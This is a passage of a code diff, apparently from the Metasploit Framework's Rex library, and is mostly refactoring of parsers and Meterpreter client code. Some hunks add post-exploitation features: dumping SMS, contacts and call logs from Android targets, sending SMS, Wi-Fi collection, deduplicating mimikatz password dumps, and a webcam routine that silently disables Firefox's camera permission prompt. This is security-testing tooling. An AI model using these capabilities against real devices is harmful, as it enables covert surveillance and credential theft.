Flatfile + + def log(sev, src, level, msg, from) # :nodoc: + msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ") + fd.write("[#{get_current_timestamp}] #{msg}\n") + fd.flush + end +end + +end end end diff --git a/lib/rex/parser/nmap_nokogiri.rb b/lib/rex/parser/nmap_nokogiri.rb index 2516f67133..f744b84e87 100644 --- a/lib/rex/parser/nmap_nokogiri.rb +++ b/lib/rex/parser/nmap_nokogiri.rb @@ -17,7 +17,7 @@ module Rex Msf::ServiceState::Closed when "filtered" Msf::ServiceState::Filtered - when "unknown" + else Msf::ServiceState::Unknown end end diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index 877af4be5a..07fd3c6b82 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -15,6 +15,12 @@ module Parser attrs = normalize_attrs(attrs) block = @block @state[:current_tag][name] = true + + unless @text.nil? + @state[:text_backup] = @text + @text = nil + end + case name when "host" @state[:has_text] = true @@ -25,97 +31,90 @@ module Parser def end_element(name=nil) block = @block case name - when "name" - return if not in_tag("result") - @state[:has_text] = true - @state[:vuln_name] = @text.strip if @text - @text = nil - when "description" + when 'name' + if in_tag('result') + @state[:has_text] = true + @state[:vuln_name] = @text.strip if @text + end + when 'description' @state[:has_text] = true @state[:vuln_desc] = @text.strip if @text - @text = nil - when "bid" - return if not in_tag("result") - return if not in_tag("nvt") - @state[:has_text] = true - @state[:bid] = @text.strip if @text - @text = nil - when "cve" - return if not in_tag("result") - return if not in_tag("nvt") - @state[:has_text] = true - @state[:cves] = @text.strip if @text - @text = nil - when "risk_factor" - return if not in_tag("result") - return if not in_tag("nvt") - - #we do this to clean out the buffer so to speak - #if we don't set text to nil now, the text will show up later - @state[:has_text] = true - @text = nil - when "cvss_base" - return if not in_tag("result") - return if not in_tag("nvt") - @state[:has_text] = true - @text = nil - when "subnet" - @state[:has_text] = true - @text = nil - when "result" - return if not in_tag("results") - record_vuln - when "threat" - return if not in_tag("ports") - return if not in_tag("port") - @state[:has_text] = true - - if not @text.index('(') - @state[:name] = nil - @state[:port] = nil - @state[:proto] = nil - @text = nil - return + when 'bid' + if in_tag('result') && in_tag('nvt') + @state[:has_text] = true + @state[:bid] = @text.strip if @text end - - @state[:name] = @text.split(' ')[0] if @text - @state[:port] = @text.split('(')[1].split('/')[0] if @text - @state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0] if @text - - @text = nil - when "host" + when 'cve' + if in_tag('result') && in_tag('nvt') + @state[:has_text] = true + @state[:cves] = @text.strip if @text + end + when 'risk_factor' + if in_tag('result') && in_tag('nvt') + #we do this to clean out the buffer so to speak + #if we don't set text to nil now, the text will show up later + @state[:has_text] = true + end + when 'cvss_base' + if in_tag('result') && in_tag('nvt') + @state[:has_text] = true + end + when 'subnet' + @state[:has_text] = true + when 'result' + record_vuln if in_tag('results') + when 'threat' + @state[:has_text] = true if in_tag('ports') && in_tag('port') + when 'host' if in_tag('result') @state[:has_text] = true @state[:host] = @text.strip if @text - @text = nil - elsif in_tag('ports') - return if not in_tag('port') + elsif in_tag('ports') && in_tag('port') @state[:has_text] = true @state[:host] = @text.strip if @text - @text = nil end - when "port" + when 'port' if in_tag('result') @state[:has_text] = true - if not @text.index('(') + if @text && @text.index('(') + @state[:proto] = @text.split('(')[1].split('/')[1].gsub(/\)/, '') + @state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '') + elsif @text && @text.index('/') + @state[:proto] = @text.split('/')[1].strip + @state[:port] = @text.split('/')[0].strip + else + @state[:proto] = nil + @state[:port] = nil + end + + if @state[:port] && @state[:port] == 'general' @state[:proto] = nil @state[:port] = nil - @text = nil - return end - @state[:proto] = @text.split('(')[0].strip if @text - @state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '') if @text - @text = nil elsif in_tag('ports') - record_service + if @text && @text.index('(') + @state[:name] = @text.split(' ')[0] + @state[:port] = @text.split('(')[1].split('/')[0] + @state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0] + record_service unless @state[:name].nil? + elsif @text && @text.index('/') + @state[:port] = @text.split('/')[0] + @state[:proto] = @text.split('/')[1] + record_service unless @state[:port] == 'general' + end end - when "name" - return if not in_tag("result") + when 'name' + return if not in_tag('result') @state[:has_text] = true - @text = nil + end + + if @state[:text_backup] + @text = @state[:text_backup] + @state[:text_backup] = nil else @text = nil end + @state[:current_tag].delete name end @@ -153,8 +152,6 @@ module Parser end def record_service - return if not @state[:name] - service_info = {} service_info[:host] = @state[:host] service_info[:name] = @state[:name] diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index e144707c4f..b751768348 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -54,7 +54,7 @@ class ClientCore < Extension # Initializes the 'core' portion of the meterpreter client commands. # def initialize(client) - super(client, "core") + super(client, 'core') end ## @@ -81,7 +81,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_enumextcmd request.", caller + raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller elsif response.result != 0 # This case happens when the target doesn't support the core_enumextcmd message. # If this is the case, then we just want to ignore the error and return an empty @@ -180,7 +180,7 @@ class ClientCore < Extension # No library path, no cookie. if library_path.nil? - raise ArgumentError, "No library file path was supplied", caller + raise ArgumentError, 'No library file path was supplied', caller end # Set up the proper loading flags @@ -215,7 +215,7 @@ class ClientCore < Extension # path of the local and target so that it gets loaded with a random # name if opts['Extension'] - library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}" + library_path = "ext#{rand(1000000)}.#{client.binary_suffix}" target_path = library_path end end @@ -233,7 +233,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_loadlib request.", caller + raise RuntimeError, 'No response was received to the core_loadlib request.', caller elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end @@ -431,16 +431,16 @@ class ClientCore < Extension # Migrates the meterpreter instance to the process specified # by pid. The connection to the server remains established. # - def migrate(pid, writable_dir = nil) - keepalive = client.send_keepalives + def migrate(pid, writable_dir = nil, opts = {}) + keepalive = client.send_keepalives client.send_keepalives = false - process = nil - binary_suffix = nil - old_platform = client.platform - old_binary_suffix = client.binary_suffix + process = nil + binary_suffix = nil + old_platform = client.platform + old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... - client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) + client.core.use('stdapi') if not client.ext.aliases.include?('stdapi') # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | @@ -452,7 +452,7 @@ class ClientCore < Extension # We cant migrate into a process that does not exist. unless process - raise RuntimeError, "Cannot migrate into non existent process", caller + raise RuntimeError, 'Cannot migrate into non existent process', caller end # We cannot migrate into a process that we are unable to open @@ -465,7 +465,7 @@ class ClientCore < Extension # And we also cannot migrate into our own current process... if process['pid'] == client.sys.process.getpid - raise RuntimeError, "Cannot migrate into current process", caller + raise RuntimeError, 'Cannot migrate into current process', caller end if client.platform =~ /linux/ @@ -484,19 +484,19 @@ class ClientCore < Extension blob = generate_payload_stub(process) # Build the migration request - request = Packet.create_request( 'core_migrate' ) + request = Packet.create_request('core_migrate') if client.platform =~ /linux/i socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) if socket_path.length > UNIX_PATH_MAX - 1 - raise RuntimeError, "The writable dir is too long", caller + raise RuntimeError, 'The writable dir is too long', caller end pos = blob.index(DEFAULT_SOCK_PATH) if pos.nil? - raise RuntimeError, "The meterpreter binary is wrong", caller + raise RuntimeError, 'The meterpreter binary is wrong', caller end blob[pos, socket_path.length + 1] = socket_path + "\x00" @@ -510,14 +510,17 @@ class ClientCore < Extension request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) + if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end - # Send the migration request (bump up the timeout to 60 seconds) - client.send_request( request, 60 ) + # Send the migration request. Timeout can be specified by the caller, or set to a min + # of 60 seconds. + timeout = [(opts[:timeout] || 0), 60].max + client.send_request(request, timeout) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents @@ -539,7 +542,7 @@ class ClientCore < Extension # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. begin - Timeout.timeout(60) do + Timeout.timeout(timeout) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() @@ -600,10 +603,10 @@ class ClientCore < Extension if not client.passive_service self.client.send_packet(request) else - # If this is a HTTP/HTTPS session we need to wait a few seconds - # otherwise the session may not receive the command before we - # kill the handler. This could be improved by the server side - # sending a reply to shutdown first. + # If this is a HTTP/HTTPS session we need to wait a few seconds + # otherwise the session may not receive the command before we + # kill the handler. This could be improved by the server side + # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) end true diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index e36a27eb31..c6446cad3a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -1,11 +1,11 @@ #!/usr/bin/env ruby +# # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/android/tlv' require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' - module Rex module Post module Meterpreter @@ -17,9 +17,28 @@ module Android # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Android < Extension + COLLECT_TYPE_WIFI = 1 + + COLLECT_ACTION_START = 1 + COLLECT_ACTION_PAUSE = 2 + COLLECT_ACTION_RESUME = 3 + COLLECT_ACTION_STOP = 4 + COLLECT_ACTION_DUMP = 5 + + COLLECT_TYPES = { + 'wifi' => COLLECT_TYPE_WIFI + } + + COLLECT_ACTIONS = { + 'start' => COLLECT_ACTION_START, + 'pause' => COLLECT_ACTION_PAUSE, + 'resume' => COLLECT_ACTION_START, + 'stop' => COLLECT_ACTION_STOP, + 'dump' => COLLECT_ACTION_DUMP + } + def initialize(client) super(client, 'android') @@ -30,88 +49,129 @@ class Android < Extension { 'name' => 'android', 'ext' => self - }, + } ]) end - + + def collect_actions + return @@collect_action_list ||= COLLECT_ACTIONS.keys + end + + def collect_types + return @@collect_type_list ||= COLLECT_TYPES.keys + end + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) - return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value - end - + response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + + def interval_collect(opts) + request = Packet.create_request('interval_collect') + request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) + request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) + request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) + response = client.send_request(request) + + result = { + headers: [], + collections: [] + } + + case COLLECT_TYPES[opts[:type]] + when COLLECT_TYPE_WIFI + result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] + result[:entries] = [] + records = {} + + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') + + g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| + bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID) + ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID) + key = "#{bssid}-#{ssid}" + + if !records.include?(key) || records[key][0] < timestamp + # Level is passed through as positive, because UINT + # but we flip it back to negative on this side + level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + records[key] = [timestamp, bssid, ssid, level] + end + end + end + + records.each do |k, v| + result[:entries] << v + end + end + + result + end + def dump_sms - sms = Array.new + sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) - response.each( TLV_TYPE_SMS_GROUP ) { |p| - - sms << - { + response.each(TLV_TYPE_SMS_GROUP) do |p| + sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } - - } - return sms + end + sms end def dump_contacts - contacts = Array.new + contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) - response.each( TLV_TYPE_CONTACT_GROUP ) { |p| - - contacts << - { + response.each(TLV_TYPE_CONTACT_GROUP) do |p| + contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } - - } - return contacts + end + contacts end def geolocate - - loc = Array.new + loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) - loc << - { + loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } - return loc + loc end def dump_calllog - log = Array.new + log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) - response.each(TLV_TYPE_CALLLOG_GROUP) { |p| - - log << - { + response.each(TLV_TYPE_CALLLOG_GROUP) do |p| + log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } - - } - return log + end + log end def check_root @@ -119,8 +179,38 @@ class Android < Extension response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end -end + def send_sms(dest, body, dr) + request = Packet.create_request('send_sms') + request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) + request.add_tlv(TLV_TYPE_SMS_BODY, body) + request.add_tlv(TLV_TYPE_SMS_DR, dr) + if dr == false + response = client.send_request(request) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + return sr + else + response = client.send_request(request, 30) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + dr = response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr, dr] + end + end + + def wlan_geolocate + request = Packet.create_request('wlan_geolocate') + response = client.send_request(request, 30) + networks = [] + response.each(TLV_TYPE_WLAN_GROUP) do |p| + networks << { + 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), + 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), + 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) + } + end + networks + end +end end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 879afbe944..55925b60cb 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -7,31 +7,52 @@ module Meterpreter module Extensions module Android -TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) -TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) -TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) -TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) -TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) -TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) -TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) -TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) -TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) -TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) -TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) -TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) -TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) -TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) -TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) -TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) -TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) -TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) -TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) -TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) + +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) + +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) + +TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050) +TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051) +TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052) +TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053) +TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054) + +# Reuse existing IDs for these +TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP +TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID +TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID +TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL end end diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb index 3a7eeb7d86..b0865f52e4 100644 --- a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -2,6 +2,7 @@ require 'rex/post/meterpreter/extensions/kiwi/tlv' require 'rexml/document' +require 'set' module Rex module Post @@ -283,9 +284,12 @@ class Kiwi < Extension request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) response = client.send_request(request) + # keep track of unique entries + uniques = Set.new + results = [] response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| - results << { + result = { :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), @@ -294,6 +298,17 @@ class Kiwi < Extension :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) } + + # generate a "unique" set identifier based on the domain/user/pass. We + # don't use the whole object because the auth hi/low might be different + # but everything else might be the same. Join with non-printable, as this + # can't appear in passwords anyway. + set_id = [result[:domain], result[:username], result[:password]].join("\x01") + + # only add to the result list if we don't already have it + if uniques.add?(set_id) + results << result + end end return results diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index cd197ff64b..92f77b3567 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -391,13 +391,26 @@ class ProcessList < Array cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? } opts = { - "Header" => "Process List", - "Columns" => cols + 'Header' => 'Process List', + 'Indent' => 1, + 'Columns' => cols }.merge(opts) tbl = Rex::Ui::Text::Table.new(opts) each { |process| - tbl << cols.map {|c| process[c.downcase] }.compact + tbl << cols.map { |c| + col = c.downcase + val = process[col] + if col == 'session' + val == 0xFFFFFFFF ? '' : val.to_s + elsif col == 'arch' + # for display and consistency with payload naming we switch the internal + # 'x86_64' value to display 'x64' + val == ARCH_X86_64 ? 'x64' : val + else + val + end + }.compact } tbl diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 31a5c1ef6e..0dcb281df7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -#require 'rex/post/meterpreter/extensions/process' - module Rex module Post module Meterpreter @@ -15,7 +13,6 @@ module Webcam # ### class Webcam - include Msf::Post::Common include Msf::Post::File include Msf::Post::WebRTC @@ -31,9 +28,9 @@ class Webcam def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] - response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value - } + end names end @@ -49,11 +46,11 @@ class Webcam request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) - response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end def webcam_stop - client.send_request( Packet.create_request( 'webcam_stop' ) ) + client.send_request(Packet.create_request('webcam_stop')) true end @@ -67,13 +64,13 @@ class Webcam offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) - remote_browser_path = get_webrtc_browser_path + remote_browser_path = webrtc_browser_path if remote_browser_path.blank? - raise RuntimeError, "Unable to find a suitable browser on the target machine" + fail "Unable to find a suitable browser on the target machine" end - ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end @@ -83,40 +80,39 @@ class Webcam request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) - response.get_tlv( TLV_TYPE_AUDIO_DATA ).value + response.get_tlv(TLV_TYPE_AUDIO_DATA).value end attr_accessor :client - private - # # Returns a browser path that supports WebRTC # # @return [String] # - def get_webrtc_browser_path + def webrtc_browser_path found_browser_path = '' case client.platform when /win/ paths = [ - "Program Files\\Google\\Chrome\\Application\\chrome.exe", - "Program Files\\Mozilla Firefox\\firefox.exe" + "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe", + "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", + "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] - drive = session.sys.config.getenv("SYSTEMDRIVE") - paths = paths.map { |p| "#{drive}\\#{p}" } - # Old chrome path user_profile = client.sys.config.getenv("USERPROFILE") paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" paths.each do |browser_path| if file?(browser_path) - found_browser_path = browser_path + found_browser_path = client.fs.file.expand_path(browser_path) break end end @@ -124,7 +120,7 @@ class Webcam when /osx|bsd/ [ '/Applications/Google Chrome.app', - '/Applications/Firefox.app', + '/Applications/Firefox.app' ].each do |browser_path| if file?(browser_path) found_browser_path = browser_path @@ -140,7 +136,6 @@ class Webcam found_browser_path end - # # Creates a video chat session as an offerer... involuntarily :-p # Windows targets only. @@ -161,9 +156,9 @@ class Webcam begin write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) - rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to initialize the interface on the target machine" + rescue RuntimeError => e + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to initialize the interface on the target machine" end # @@ -176,26 +171,29 @@ class Webcam profile_name = Rex::Text.rand_text_alpha(8) o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip - setting = %Q|user_pref("media.navigator.permission.disabled", true);| + setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) - rescue ::Exception => e - elog("webcam_chat failed: #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to write the necessary setting for Firefox." + rescue RuntimeError => e + elog("webcam_chat failed: #{e.class} #{e}") + raise "Unable to write the necessary setting for Firefox." end args = "-p #{profile_name}" end - exec_opts = {'Hidden' => false, 'Channelized' => false} + exec_opts = { 'Hidden' => false, 'Channelized' => false } begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) - rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to start the remote browser: #{e.message}" + rescue RuntimeError => e + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to start the remote browser: #{e.message}" end end - end - -end; end; end; end; end; end +end +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console.rb 